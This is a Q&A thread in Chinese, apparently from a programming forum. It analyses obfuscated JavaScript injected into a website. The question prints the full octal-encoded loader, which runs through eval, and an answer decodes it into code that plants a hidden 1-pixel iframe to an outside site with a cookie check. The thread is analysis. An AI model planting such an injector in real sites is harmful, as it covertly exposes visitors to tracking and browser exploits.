javascript - 网站上发现恶意代码，它有什么作用？

Question

我在一个我被要求提供帮助的网站上发现了这段代码，它造成了各种困惑。起初它重定向到另一个站点，我想尝试传递某种有效负载。我不知道如何解密并且很好奇。有人能指出我正确的方向吗？

通过 Google 搜索其中的一部分，可以发现不少网站似乎都包含该内容。

<script type="text/javascript" language="javascript" ><br/>
asd=function(){d.body++};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,175,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,175,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,170,147,154,163,164,164,62,167,170,145,166,170,160,163,153,155,147,62,147,163,161,63,147,167,167,63,147,163,171,162,170,151,166,62,164,154,164,53,77,21,16,44,175,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,175,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,175,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,175,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,175,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,175,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,175,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,175,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i],8);}try{asd()}catch(q){zz=0;}try{zz^=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));</script><!--/0c0896-->

编辑:我似乎无法发布整个内容，因此我将其粘贴到粘贴箱中以供感兴趣的人使用! http://pastebin.com/w1eH1JkB

Answer 1

经过一番修改，我想出了这个:

var code='';
for(i=0;i<a.length;i++) {
  code = code + String.fromCharCode(parseInt(a[i],8)-4);
}
console.log(hax);

解码“a”并输出:

 function zzzfff() {
 var y = document.createElement('iframe');

 y.src = 'REDACTED';
 y.style.position = 'absolute';
 y.style.border = '0';
 y.style.height = '1px';
 y.style.width = '1px';
 y.style.left = '1px';
 y.style.top = '1px';

 if (!document.getElementById('y')) {
 document.write('<div id=\'y\'></div>');
 document.getElementById('y').appendChild(y);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();
}
}

此代码从另一个站点加载 iframe。看起来它只是跟踪访问者，但他们可以在 iframe 中执行任何操作(例如尝试浏览器漏洞)。